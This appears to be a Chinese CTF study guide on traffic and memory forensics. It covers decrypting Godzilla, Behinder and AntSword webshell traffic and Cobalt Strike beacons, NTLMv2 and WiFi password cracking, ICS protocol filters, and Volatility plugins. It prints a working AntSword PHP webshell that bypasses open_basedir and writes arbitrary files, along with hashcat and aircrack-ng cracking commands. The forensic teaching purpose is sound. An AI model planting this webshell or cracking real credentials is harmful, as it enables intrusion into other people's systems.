08803708951e000000000000这个数据,0x3708是x坐标信息,0x951e是y坐标信息,但是由于数据为小端序储存,实际x坐标为0x0837,y坐标为0x1e95。

分析数据,分为压感和低压感的数据,直接用CTFD中的脚本跑出坐标并画图

1
2
3
4
5
6
7
8
9
10
11
12
#数位板压感数据分析.py
nums = []
keys = open('out.txt', 'r')
result = open('result.txt', 'w')
for line in keys:
if int(line[12:16], 16) == 0:
continue
x = int(line[4:6], 16) + int(line[6:8], 16) * 0xff
y = int(line[8:10], 16) + int(line[10:12], 16) * 0xff
result.write(str(x)+' '+str(-y)+'\n')
keys.close()
result.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
#数位板低压感数据分析.py
nums = []
keys = open('out.txt', 'r')
result = open('xy.txt', 'w')
for line in keys:
if int(line[12:16], 16) == 0:
continue
x = int(line[4:6], 16) + int(line[6:8], 16) * 0xff
y = int(line[8:10], 16) + int(line[10:12], 16) * 0xff
if int(line[12:16], 16) < 0xf000:
result.write(str(x)+' '+str(-y)+'\n')
keys.close()
result.close()
SQL注入流量分析

可以使用 wireshark 的过滤器过滤出注入的流量,然后导出特定分组

然后使用 tshark 根据字段名提取出所有的注入语句

如果是盲注的话,直接写个正则匹配脚本提取数据即可

例题1-2023 铁三 traffic

Webshell流量分析

Tips:如果返回的响应数据是gzip格式,要注意提取的位置,gzip数据一般是以 1F 8B 08 00 开头的

菜刀流量分析

在TCP和HTTP协议中寻找线索,找返回包中一大串的数据,并根据标志位判断文件类型
如果是加密了的压缩包,看看是不是伪加密

哥斯拉流量分析

3.03版本

哥斯拉的连接需要填写密码和密钥,加密过程中使用的是密钥MD5的前16位

Request解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

function encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}

$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';

echo encode(base64_decode(urldecode('')),$key);
//有时候Request解密也需要gzdecode
echo gzdecode(encode(base64_decode(urldecode('')), $key));

Response解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}

$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
// 原来的数据去掉前十六位和后十六位然后解密
echo gzdecode(encode(base64_decode('DlMRWA1cL1gOVDc2MjRhRwZFEQ=='),$key));

解密的例子

request解密

1
2
3
4
5
6
echo encode(base64_decode(urldecode('DlMRWA1cL1gOVDc%2FMjRhVAZCJ1ERUQJKKl9TXQ%3D%3D')), $key);
//getBasicsInfo

echo gzdecode(encode(base64_decode(urldecode('fL1tMGI4YTljMSj8jz6jA3d2hOK3r9ldE1qWHCQw5iUyciHYwoApdQ2q4%2B6UwuZnokGyih%2BkiHExtpdwzdcYbcgX9fDGOqekEG0dGJhlwPAYnbSoMmLbfNCAAOREiM6%2BdrzW5dmQQHmrvf3x40sVcGT3bOqpDSpn2IV5%2FP0YvGN9oTSJH9QUJk5U6Ro0v5RHLe4Mm%2By6saafb0Vyq2xDYsoZK0TfoMI5YzE%3D')), $key));
/**cmdLine}sh -c "cd "/www/admin/www.webshell.com_80/wwwroot/upload/";zip -e flag.zip flag.txt -P sXZfCyHSjCWqfSSEmgBj8jGkJhu87cBrd" 2>&1methodName
execCommand**/

Response解密

1
2
echo gzdecode(encode(base64_decode(urldecode('fL1tMGI4YTljMn75e3i2GMoehBqscKzwshr9GtI2YQRVyPwjYjhh')), $key));
//flag.txt shell.php
冰蝎流量分析

简要加密过程(请求)

base64 -> AES(key = ??? IV = 0123456789abcdef) -> base64
有时候 IV = \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
简要解密过程(响应)

解密过程反过来即可

从流量包中的HTTP数据包中获取key和data,然后用CyberChef解密即可

image

image

image

这里如果想要偷懒,对于冰蝎和哥斯拉流量可以直接用 风二西 师傅的 承影_哥斯拉冰蝎解码工具 一把梭了

直接将木马中的密钥复制到工具中,然后 Ctrl+A 全选加密的数据,再右键选择对应的解密方式即可

image

蚁剑流量分析

蚁剑流量分析需要注意的地方:

1、路径base64字符串需要去除前两个字符后再解码

2、响应数据的头尾有额外的字符,需要先去除然后再base64解码

蚁剑webshell样本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
// 设置一些PHP配置
@ini_set("display_errors", "0"); // 关闭显示错误信息
@set_time_limit(0); // 设置脚本执行时间为无限制
// 获取open_basedir配置
$opdir = @ini_get("open_basedir");
// 如果open_basedir配置存在
if ($opdir) {
// 获取当前脚本所在目录
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
// 将open_basedir路径分割成数组
// /;|:/
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
// 将当前目录和系统临时目录添加到数组中
@array_push($oparr, $ocwd, sys_get_temp_dir());
// 遍历open_basedir数组
foreach ($oparr as $item) {
// 如果目录不可写,继续下一个目录
if (!@is_writable($item)) {
continue;
}
// 创建一个临时目录
$tmdir = $item . "/.573ef8c9dd12";
@mkdir($tmdir);
// 如果目录创建失败,继续下一个目录
if (!@file_exists($tmdir)) {
continue;
}
// 获取临时目录的真实路径
$tmdir = realpath($tmdir);
// 切换到临时目录
@chdir($tmdir);
// 修改open_basedir配置,使其可以访问上层目录
@ini_set("open_basedir", "..");
// 获取目录路径的数组
$cntarr = @preg_split("/\\\\|\//", $tmdir);
// 逐级返回上层目录,以还原open_basedir配置
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
}
// 恢复open_basedir配置为根目录
@ini_set("open_basedir", "/");
// 删除临时目录
@rmdir($tmdir);
// 跳出循环,只操作第一个可写目录
break;
}
}
// 自定义函数,对输出进行base64编码
function asenc($out)
{
return @base64_encode($out);
}
// 自定义函数,获取输出缓冲区内容并进行处理
function asoutput()
{
$output = ob_get_contents(); // 获取输出缓冲区内容
ob_end_clean(); // 清空输出缓冲区
// 输出一些标识字符串以及经过base64编码的缓冲区内容,响应内容前后有额外字符的原因所在
echo "fb708664";
echo @asenc($output);
echo "870b983ed5";
}
// 开始输出缓冲区
ob_start();
try {
// 解码POST请求中的文件路径和内容
// 从这个变量的值中取出从第二个字符开始到最后的子字符串,蚁剑需要去除前两个字母的原因所在
$f = base64_decode(substr($_POST["idb82191cedb24"], 2));
$c = $_POST["e748c4dcd196bb"];
$c = str_replace("\r", "", $c);
$c = str_replace("\n", "", $c);
$buf = "";
// 将内容进行URL解码
for ($i = 0; $i < strlen($c); $i += 2) {
$buf .= urldecode("%" . substr($c, $i, 2));
}
// 将解码后的内容写入文件,并返回结果
echo (@fwrite(fopen($f, "a"), $buf) ? "1" : "0");
} catch (Exception $e) {
// 如果发生异常,输出错误信息
echo "ERROR://" . $e->getMessage();
}
// 调用自定义函数处理输出
asoutput();
// 终止脚本执行
die();
?>

这里总结一下我手动分析蚁剑流量的步骤:

1、首先url解码请求包,然后base64解码其中的php文件和该文件执行的命令

2、找到php文件中asoutput函数的标识字符串

1
2
3
4
5
6
7
8
9
function asoutput()
{
$output = ob_get_contents(); // 获取输出缓冲区内容
ob_end_clean(); // 清空输出缓冲区
// 输出一些标识字符串以及经过base64编码的缓冲区内容,响应内容前后有额外字符的原因所在
echo "fb708664";
echo @asenc($output);
echo "870b983ed5";
}

3、根据gzip的文件头提取响应包,去除标识字符串后base64解码得到响应数据

4、按照上面的步骤逐个分析流量包

CobalStrike流量分析

先从流量包中导出key文件

然后在 cs-scripts中运行 python3 parse_beacon_keys.py 得到私钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
-----BEGIN PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAIzAss/1Vcd49UN5XT+pVELCnX1r
To4LhSzcP7sPOrIOQg0onSpKO1tzOVX+2DqtZsSFoFrAmrEV+gZCbFfhYR9vs5DGLUg9aa0i5Gqh
Pz/s4v5wcmgUgfnvjh4oK7yPQ5BMcqESCjEim9MXs70by1U7ZN+wOYZEorInV9gPkCJdAgMBAAEC
gYAJbRpMjQyamEIsq6MQEWIAOpJbhOU05BaeI33tJB71L7lCslacL258OGI9nRyUCWrZfG15xm5V
r7gX1Tj2RbTAUZmGigY1X2rCyz00DFjj5iIQVWsl8eSI1EmjFmQ+rYnCezQcrt4V3c7BZtW9RjFW
vHh09PF808Yl4/+++vrMoQJBAKhCa/adRGEFqiVcSZG2FdlUG4bPMfwRkYMERZG5D6fjVHOVNEyL
3MK+EtafnYIDD1IS+97K0cbg922RKXNdv+kCQQDWJk0kNe8ePBpwJU4slig1Y+4VWuwTRz6r+MNp
v+WrVMzo/LHzAKYn87pyAdxLaZyKAFKs86WpJ2n93ZslC9pVAkA0KMMHJCF6YiMoib9UqDmFsYkG
9VvtZBTTpJNcZR3xUYtweSRJRmIdDIcSeVB+aSxqqO/jVMRK/po1IPbUiI9hAkEAi93wPFpNlv3C
dsSmzlA0asqd0azUy7KYqFGNsB/5rXFxdCq3PvOJkkaJ27SDYW3VI/0aAoQQCu8HNxvqHMQlEQJB
AIFIkfpeSfksLu8NgiFvZsTV8EWF9PfF2VLyqeSGtmySujqb0HbxGnM9SDc0k48wOvIn5YGJPyY2
ddsyNI6XbCU=
-----END PRIVATE KEY-----

在数据包的HTTP请求中获得Cookie,然后修改CS_Decrypt中的 Beacon_metadata_RSA_Decrypt.py 的私钥和Cookie

运行即可得到 AES和HMAC key

1
2
AES key:ef08974c0b06bd5127e04ceffe12597b
HMAC key:bd87fa356596a38ac3e3bb0b6c3496e9

然后把这两个key填入 Beacon_Task_return_AES_Decrypt.py 中

把流量包中的POST数据包中的data的值用CyberChef (from hex+to base64) 处理后得到的数据填入上面那个脚本中

一个个解密每个POST数据包中的data即可得到flag

NTLM流量分析

NTLM流量分析需要的信息,在追踪流中是找不到的,需要我们深入分析具体的每个流量包

可以用关键字 ntlmssp 过滤流量包,然后看每个流量包右侧的 info 栏快速定位NTLM信息的位置

提取 NTLMv2 哈希值并破解(SMB协议)

首先,使用关键字 ntlmssp 对流量包进行筛选并定位到认证成功的 NTLMSSP_AUTH 包
打开流量包中的 Security Blob 层
复制用户名、域名

然后,分析NTLM响应部分,找到NTProofStr字段和NTLMv2的响应,将它们作为十六进制字符串复制到文本文档中
NTLMv2 Response是从ntlmProofStr开始,因此从NTLMv2的响应中要删除ntlmProofStr。

最后,在过滤器中输入ntlmssp.ntlmserverchallenge,查找NTLM Server Challenge字段,通常这个数据包是在NTLM_Auth数据包之前,将该值作为十六进制字符串复制到文本文档。

把上面三部分的参数按以下格式保存到hash.txt

1
username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response
1
administrator::WIN2008:9a88373dbb4f5e36:4eb74543b9962bb2ca36e938909bb930:0101000000000000d23c83f972f7d9015e866dc6343b804400000000020008004800410043004b000100040044004300040010006800610063006b002e0063006f006d0003001600440043002e006800610063006b002e0063006f006d00050010006800610063006b002e0063006f006d0007000800d23c83f972f7d9010600040002000000080030003000000000000000000000000030000046fc5f0d124bc9b99b5b560c14cd7c7e217f08f22ef5f223679ec2c576230fa30a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e00310036002e0031003000000000000000000000000000

最后使用 hashcat 进行爆破

1
hashcat -m 5600 hash.txt rockyou.txt
1
2
$ hashcat -m 5600 hash.txt rockyou.txt --show
ADMINISTRATOR::WIN2008:9a88373dbb4f5e36:4eb74543b9962bb2ca36e938909bb930:0101000000000000d23c83f972f7d9015e866dc6343b804400000000020008004800410043004b000100040044004300040010006800610063006b002e0063006f006d0003001600440043002e006800610063006b002e0063006f006d00050010006800610063006b002e0063006f006d0007000800d23c83f972f7d9010600040002000000080030003000000000000000000000000030000046fc5f0d124bc9b99b5b560c14cd7c7e217f08f22ef5f223679ec2c576230fa30a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e00310036002e0031003000000000000000000000000000:qwe123!@#

提取 NTLMv2 哈希值并破解(HTTP协议)

大致步骤和SMB协议的差不多,就是NTLM信息放在了 hypertext transport protocol 中
按照之前的步骤提取出来,然后 hashcat 爆破即可

1
username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response
1
jack::WIDGETLLC:2af71b5ca7246268:2d1d24572b15fe544043431c59965d30:0101000000000000040d962b02edd901e6994147d6a34af200000000020012005700490044004700450054004c004c004300010008004400430030003100040024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c0003002e0044004300300031002e005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c00050024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c0007000800040d962b02edd90106000400020000000800300030000000000000000000000000300000078cdc520910762267e40488b60032835c6a37604d1e9be3ecee58802fb5f9150a001000000000000000000000000000000000000900200048005400540050002f003100390032002e003100360038002e0030002e0031000000000000000000

提取 NTLMv2 哈希值并破解(SMTP协议)

这里的NTLM流量信息可能base64编码过了,所以分析前需要base64解码:

image

后续步骤就和之前一样了,提取信息然后用 hashcat 爆破

本地RDP流量分析

在WireShark中导出PDU到文件,选择OSI Layer 7,保存为pcap文件,然后使用PyRDP导出为可识别类型。

1
pyrdp-convert -o output rdp.pcap

导出完成后启动GUI界面

1
pyrdp-player

即可看RDP的操作。

工控流量分析

参考连接:https://blog.csdn.net/song123sh/article/details/128387982

将流量按长度降序排列,然后在各层寻找线索,
显示分组字节,从base64后开始,然后解码看文件类型,最后显示成该类型

Modbus 协议分析

Modbus 流量主要有三类:Modbus/RTU、Modbus/ASCII、Modbus/TCP

Modbus/RTU

从机地址1B+功能码1B+数据字段xB+CRC值2B
最大长度256B,所以数据字段最大长度252B

Modbus/ASCII

由Modbus/RTU衍生,采用0123456789ABCDEF 表示原本的从机地址、功能码、数据字段,并添加开始结束标记,所以长度翻倍
开始标记:(0x3A)1B+从机地址2B+功能码2B+数据字段xB+LRC值2B+结束标记\r\n2B
最大长度513B,因为数据字段在RTU中是最大252B,所以在ASCII中最大504B

Modbus/TCP

不再需要从机地址,改用UnitID;不再需要CRC/LRC,因为TCP自带校验
传输标识符2B+协议标识符2B+长度2B+从机ID 1B+功能码1B+数据字段xB

一般题目考察 Modbus/TCP 比较多,然后主要考察的就是下面这种功能码(这里只列了部分)
因此解题的时候配合过滤器一个个功能码看过去就行

1:读线圈
2:读离散输入
3:读保持
4:读输入
5:写单个线圈
6:写单个保持
15:写多个线圈
16:写多个保持

例题1 HNGK-Modbus流量分析

使用下面这个过滤器命令即可得到 flag

1
(((_ws.col.protocol == "Modbus/TCP") ) && (modbus.byte_cnt)) && (modbus.func_code == 16)

image
flag{TheModbusProtocolIsFunny!}

S7comm 协议分析

西门子设备的工控协议,基于 COTP 实现,是COTP的上层协议
主要有三种类型:Job(1)、Ack_Data(3)/Ack(2)、Userdata(7)
Job:下发任务/指令
Ack_Data:带有返回数据
Ack:单纯确认,含有数据
Userdata:用户自定义数据区,也包含功能指令

例题1 2020ICSC湖州站—工控协议数据分析

首先过滤出S7协议的数据包,发现在一些Ack_Data的数据包中传输了二进制数据
image
因此,我们将所有带有二进制数据的数据包都过滤出来,发现一些Job的数据包中也有二进制数据
image
然后我们尝试将所有带有二进制数据的Job数据包都过滤出来并导出特定分组,过滤器代码如下

1
((s7comm) && (s7comm.resp.data)) && (s7comm.param.func == 0x05)

image

然后使用 tshark 提取数据

然后使用 tshark 提取数据

1
tshark -r 1.pcap -T fields -e s7comm.resp.data | uniq

image

最后 CyberChef 解码二进制即可得到 flag
image

例题2 2020ICSC济南站—被篡改的数据

翻看流量包,发现很多 S7COMM 数据包,使用过滤器过滤,发现 s7comm.resp.data 字段传了很多 66 数据
使用过滤器过滤出传了 s7comm.resp.data 字段数据但数据不是 66 的 S7 数据包
发现了疑似 flag 的数据,为了防止 flag 中含有 f 字符而被过滤
因此我们使用下面这个过滤命令进行过滤,然后导出特定分组

1
(((frame.number >= 19987 && frame.number <=20032) && (_ws.col.protocol == "S7COMM")) && (s7comm.param.func == 0x05)) && (s7comm.resp.data)

最后 tshark 提取出数据,然后十六进制解码即可得到 flag:flag{93137ad4a}

例题3 枢网智盾2021—异常流分析

打开流量包,发现很多 S7comm 流量,然后稍微过滤一下,发现是写入数据的流量
然后写入的数据几乎都是 ffff 开头的,因此我们直接查看不是 ffff 开头的数据

1
((_ws.col.protocol == "S7COMM") && (s7comm.param.func == 0x05)) && (s7comm.resp.data[0:2] != ff:ff)

即可得到 flag:flag{ffad28a0ce69db34751f}

例题4 枢网智盾2021—工控协议分析

1
(_ws.col.protocol == "S7COMM") && (frame.number == 418)

image

然后直接把明文传输的数据 base64 解码即可
image
flag{hncome66!}

蓝牙(OBEX)流量分析

在统计的协议分级中选中OBEX协议
然后查找pin的分组详情,获得压缩包的密码

邮件(STMP)流量分析

可以试试看导出对象-导出IMF-导出文件的后缀是eml(可以使用网易邮箱大师打开)

eml文件是将数据base64编码后再传输的,有些数据直接用邮箱软件打开可能看不到,建议手搓一遍

无线流量分析

在kali中用弱口令密码爆破出WIFI密码
执行命令:aircrack-ng ctf.pcap -w rockyou.txt
执行命令解码:airdecap-ng -p password1 ctf.pcap -e ctf -o 1.pcap
然后打开解码后的文件,查找flag

SLL、TLS加密流量分析

老版本的 wireshark 中显示的是 SSL,新版本的改成TLS了

解密方法就是点击 编辑 -> 首选项 -> Protocols -> TLS 加载 RSA 私钥 或 者加载日志文件
解完密后就和平常的流量分析一样了

例题-BUU 第九章TLS流量分析

打开流量包发现有 TLS 数据包,然后还有一些红黑条纹,猜测是被加密了

翻看流量包,追踪 TCP 流,发现流7中POST了一个 sslkey.log 日志文件

image

导出 sslkey.log 日志文件,然后按上面的步骤导入解密

image

解密完后直接搜索 flag{ 字符串即可找到 flag{e3364403651e775bfb9b3ffa06b69994}

image

例题-DDCTF2018 流量分析

直接在 TLS 加载 RSA 私钥解密即可

私钥的格式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQDCm6vZmclJrVH1AAyGuCuSSZ8O+mIQiOUQCvN0HYbj8153JfSQ
LsJIhbRYS7+zZ1oXvPemWQDv/u/tzegt58q4ciNmcVnq1uKiygc6QOtvT7oiSTyO
vMX/q5iE2iClYUIHZEKX3BjjNDxrYvLQzPyGD1EY2DZIO6T45FNKYC2VDwIDAQAB
AoGAbtWUKUkx37lLfRq7B5sqjZVKdpBZe4tL0jg6cX5Djd3Uhk1inR9UXVNw4/y4
QGfzYqOn8+Cq7QSoBysHOeXSiPztW2cL09ktPgSlfTQyN6ELNGuiUOYnaTWYZpp/
QbRcZ/eHBulVQLlk5M6RVs9BLI9X08RAl7EcwumiRfWas6kCQQDvqC0dxl2wIjwN
czILcoWLig2c2u71Nev9DrWjWHU8eHDuzCJWvOUAHIrkexddWEK2VHd+F13GBCOQ
ZCM4prBjAkEAz+ENahsEjBE4+7H1HdIaw0+goe/45d6A2ewO/lYH6dDZTAzTW9z9
kzV8uz+Mmo5163/JtvwYQcKF39DJGGtqZQJBAKa18XR16fQ9TFL64EQwTQ+tYBzN
+04eTWQCmH3haeQ/0Cd9XyHBUveJ42Be8/jeDcIx7dGLxZKajHbEAfBFnAsCQGq1
AnbJ4Z6opJCGu+UP2c8SC8m0bhZJDelPRC8IKE28eB6SotgP61ZqaVmQ+HLJ1/wH
/5pfc3AmEyRdfyx6zwUCQCAH4SLJv/kprRz1a1gx8FR5tj4NeHEFFNEgq1gmiwmH
2STT5qZWzQFz8NRe+/otNOHBR2Xk4e8IS+ehIJ3TvyE=
-----END RSA PRIVATE KEY-----

例题-2024铁三初赛 流量分析

PFX证书导入

如果题目给的是der和pfx证书,输入密码后新版本的wireshark可以直接作为TLS密钥使用,一般Windows证书都是用mimikatz导出的,那么密码就是mimikatz,其他情况需要pfx2john爆破一下。

MMTLS - 微信安全通信协议

article/基于TLS1.3的微信安全通信协议mmtls介绍.md at master · WeMobileDev/article

VPN流量分析

Shadowsocks流量分析

例题-2023强网杯-谍影重重3.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#请求解密脚本
import hashlib
from Crypto.Cipher import AES


def EVP_BytesToKey(password, key_len, iv_len):
m = []
i = 0
while len(b''.join(m)) < (key_len + iv_len):
md5 = hashlib.md5()
data = password
if i > 0:
data = m[i - 1] + password
md5.update(data)
m.append(md5.digest())
i += 1
ms = b''.join(m)
key = ms[:key_len]
iv = ms[key_len:key_len + iv_len]
return key, iv


def decrypt(cipher, password):
key_len = int(256/8)
iv_len = 16
mode = AES.MODE_CFB
key, _ = EVP_BytesToKey(password, key_len, iv_len)
cipher = bytes.fromhex(cipher)
iv = cipher[:iv_len]
real_cipher = cipher[iv_len:]
obj = AES.new(key, mode, iv, segment_size=128)
plain = obj.decrypt(real_cipher)
return plain


def main():
cipher = 'e0a77dfafb6948728ef45033116b34fc855e7ac8570caed829ca9b4c32c2f6f79184e333445c6027e18a6b53253dca03c6c464b8289cb7a16aa1766e6a0325ee842f9a766b81039fe50c5da12dfaa89eacce17b11ba9748899b49b071851040245fa5ea1312180def3d7c0f5af6973433544a8a342e8fcd2b1759086ead124e39a8b3e2f6dc5d56ad7e8548569eae98ec363f87930d4af80e984d0103036a91be4ad76f0cfb00206'
# 因为password未知,所以我们这里尝试用字典进行爆破
with open('rockyou.txt', 'rb') as f:
lines = f.readlines()
for password in lines:
plain = decrypt(cipher, password.strip())
if b'HTTP' in plain:
print(password.decode(), plain.decode())
break


if __name__ == "__main__":
main()
VMess(V2ray)流量分析

VMessMD5

【例题:2022强网杯-谍影重重】

VMessAEAD

【例题:2024 DubheCTF-authenticated mess & unauthenticated less】

ADS-B流量分析

飞机/航空器流量,找到流量数据,用pyModeS模块分析即可

例题

[2023 强网杯] 谍影重重2.0

下载附件得到一个只有TCP流量的流量包
题目需要我们分析流量包找到飞机的飞机速度和飞机的 ICAO CODE
问了GPT得知飞机常见的协议中有ADS-B,然后在网上找到pyModeS这个模块
在参考链接:https://gitee.com/wangmin-gf/ads-b 看到了与tcp.payload中相似的数据
使用tshark提取出流量包中的数据,然后使用这个脚本批量解密找speed最快的即可

tshark -r attach.pcapng -T fields -e “tcp.payload” | sed ‘/^\s*$/d’ > tshark.txt

1
2
3
4
5
6
7
8
9
import pyModeS
with open("tshark.txt") as f:
data = f.readlines()
for item in data:
# print(item.strip())
if len(item.strip()) != 46:
continue
res = pyModeS.tell(item.strip()[18:46])
print("===========================================================================")
1
2
3
4
5
6
7
8
9
10
11
===========================================================================
Message: 8d79a05e990ccda6f80886dd9544
ICAO address: 79a05e
Downlink Format: 17
Protocol: Mode-S Extended Squitter (ADS-B)
Type: Airborne velocity
Speed: 371 knots
Track: 213.3474959459136 degrees
Vertical rate: -64 feet/minute
Type: Ground speed
===========================================================================

损坏的流量包分析

例题-第一届“百度杯”信息安全攻防总决赛 find the flag(flag藏在 frame29-41 的 ip.id 字段中)

打开流量包后发现有如下的报错

image

可以直接使用 在线网站 修复

修复完成以后就是正常的流量分析了

从流量包中找异常流量

一般这种题目的做法就是,观察正常的流量包中的字段,毕竟一个流量包中正常的流量肯定占大多数,
然后结合过滤器,一个字段一个字段地进行排除,就是筛选出不等于正常字段值的流量。

内存取证

常见文件后缀:.vmem / .dump / .raw / .img

内存取证除了常用的 Vol 以外,也可以尝试一下 R-Stdio 这个工具,提取文件的时候不一定哪个可以用

打开 R-Stdio -> 驱动器 -> 打开镜像 -> 扫描

也可以直接010手提,如果做不出来的时候可以foremost提取一下,说不定会有奇效~~(2024网鼎杯你说是吧)~~

image

image

vol.py --info 可以查看插件

1
2
3
#官方WIKI
https://github.com/volatilityfoundation/volatility/wiki
#点击右侧的Command References来查看具体参数的用法

Windows内存取证

不是Windows10的内存镜像的话可以直接用 Vol_all_in_one 一键分析

取证过程中一定要记得查看镜像桌面上的文件!

Volatility2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
Volatility Foundation Volatility Framework 2.6
用法: Volatility - 内存取证分析平台

Options:
-h, --help 列出所有可用选项及其默认值
默认值可以在配置文件中设置
(/etc/volatilityrc)
--conf-file=/home/kali/.volatilityrc
基于用户的配置文件
-d, --debug 调试Volatility
--plugins=PLUGINS 要使用的其他插件目录(冒号分隔)
--info 打印所有注册对象的信息
--cache-directory=/home/kali/.cache/volatility
存放缓存文件的目录
--cache 使用缓存
--tz=TZ 设置 (Olson) 时区以使用 pytz(如果已安装)或 tzset 显示时间戳
-f FILENAME, --filename=FILENAME
打开图像时使用的文件名
--profile=WinXPSP2x86
要加载的配置文件的名称(使用 --info 查看支持的配置文件列表)
-l LOCATION, --location=LOCATION
从中加载地址空间的 URN 位置
-w, --write 启用写支持
--dtb=DTB DTB 地址
--shift=SHIFT Mac KASLR 移位地址
--output=text 以这种格式输出(支持特定于模块,请参阅下面的模块输出选项)
--output-file=OUTPUT_FILE
在此文件中写入输出
-v, --verbose 详细信息
-g KDBG, --kdbg=KDBG 指定一个 KDBG 虚拟地址(注意:对于 64 位 Windows 8 及更高版本,这是 KdCopyDataBlock 的地址)
--force 强制使用可疑配置文件
-k KPCR, --kpcr=KPCR 指定特定的 KPCR 地址
--cookie=COOKIE 指定 nt!ObHeaderCookie 的地址(仅适用于 Windows 10)

支持的插件命令:

amcache 查看AmCache应用程序痕迹信息
apihooks 检测内核及进程的内存空间中的API hook
atoms 列出会话及窗口站atom表
atomscan Atom表的池扫描(Pool scanner)
auditpol 列出注册表HKLMSECURITYPolicyPolAdtEv的审计策略信息
bigpools 使用BigPagePoolScanner转储大分页池(big page pools)
bioskbd 从实时模式内存中读取键盘缓冲数据(早期电脑可以读取出BIOS开机密码)
cachedump 获取内存中缓存的域帐号的密码哈希
callbacks 打印全系统通知例程
clipboard 提取Windows剪贴板中的内容
cmdline 显示进程命令行参数
cmdscan 提取执行的命令行历史记录(扫描_COMMAND_HISTORY信息)
connections 打印系统打开的网络连接(仅支持Windows XP 和2003)
connscan 打印TCP连接信息
consoles 提取执行的命令行历史记录(扫描_CONSOLE_INFORMATION信息)
crashinfo 提取崩溃转储信息
deskscan tagDESKTOP池扫描(Poolscaner)
devicetree 显示设备树信息
dlldump 从进程地址空间转储动态链接库
dlllist 打印每个进程加载的动态链接库列表
driverirp IRP hook驱动检测
drivermodule 关联驱动对象至内核模块
driverscan 驱动对象池扫描
dumpcerts 提取RAS私钥及SSL公钥
dumpfiles 提取内存中映射或缓存的文件
dumpregistry 转储内存中注册表信息至磁盘
editbox 查看Edit编辑控件信息 (Listbox正在实验中)
envars 显示进程的环境变量
eventhooks 打印Windows事件hook详细信息
evtlogs 提取Windows事件日志(仅支持XP/2003)
filescan 提取文件对象(file objects)池信息
gahti 转储用户句柄(handle)类型信息
gditimers 打印已安装的GDI计时器(timers)及回调(callbacks)
gdt 显示全局描述符表(Global Deor Table)
getservicesids 获取注册表中的服务名称并返回SID信息
getsids 打印每个进程的SID信息
handles 打印每个进程打开的句柄的列表
hashdump 转储内存中的Windows帐户密码哈希(LM/NTLM)
hibinfo 转储休眠文件信息
hivedump 打印注册表配置单元信息
hivelist 打印注册表配置单元列表
hivescan 注册表配置单元池扫描
hpakextract 从HPAK文件(Fast Dump格式)提取物理内存数据
hpakinfo 查看HPAK文件属性及相关信息
idt 显示中断描述符表(Interrupt Deor Table)
iehistory 重建IE缓存及访问历史记录
imagecopy 将物理地址空间导出原生DD镜像文件
imageinfo 查看/识别镜像信息
impscan 扫描对导入函数的调用
joblinks 打印进程任务链接信息
kdbgscan 搜索和转储潜在KDBG值
kpcrscan 搜索和转储潜在KPCR值
ldrmodules 检测未链接的动态链接DLL
lsadump 从注册表中提取LSA密钥信息(已解密)
machoinfo 转储Mach-O 文件格式信息
malfind 查找隐藏的和插入的代码
mbrparser 扫描并解析潜在的主引导记录(MBR)
memdump 转储进程的可寻址内存
memmap 打印内存映射
messagehooks 桌面和窗口消息钩子的线程列表
mftparser 扫描并解析潜在的MFT条目
moddump 转储内核驱动程序到可执行文件的示例
modscan 内核模块池扫描
modules 打印加载模块的列表
multiscan 批量扫描各种对象
mutantscan 对互斥对象池扫描
notepad 查看记事本当前显示的文本
objtypescan 扫描窗口对象类型对象
patcher 基于页面扫描的补丁程序内存
poolpeek 可配置的池扫描器插件
printkey 打印注册表项及其子项和值
privs 显示进程权限
procdump 进程转储到一个可执行文件示例
pslist 按照EPROCESS列表打印所有正在运行的进程
psscan 进程对象池扫描
pstree 以树型方式打印进程列表
psxview 查找带有隐藏进程的所有进程列表
qemuinfo 转储 Qemu 信息
raw2dmp 将物理内存原生数据转换为windbg崩溃转储格式
screenshot 基于GDI Windows的虚拟屏幕截图保存
servicediff Windows服务列表(ala Plugx)
sessions _MM_SESSION_SPACE的详细信息列表(用户登录会话)
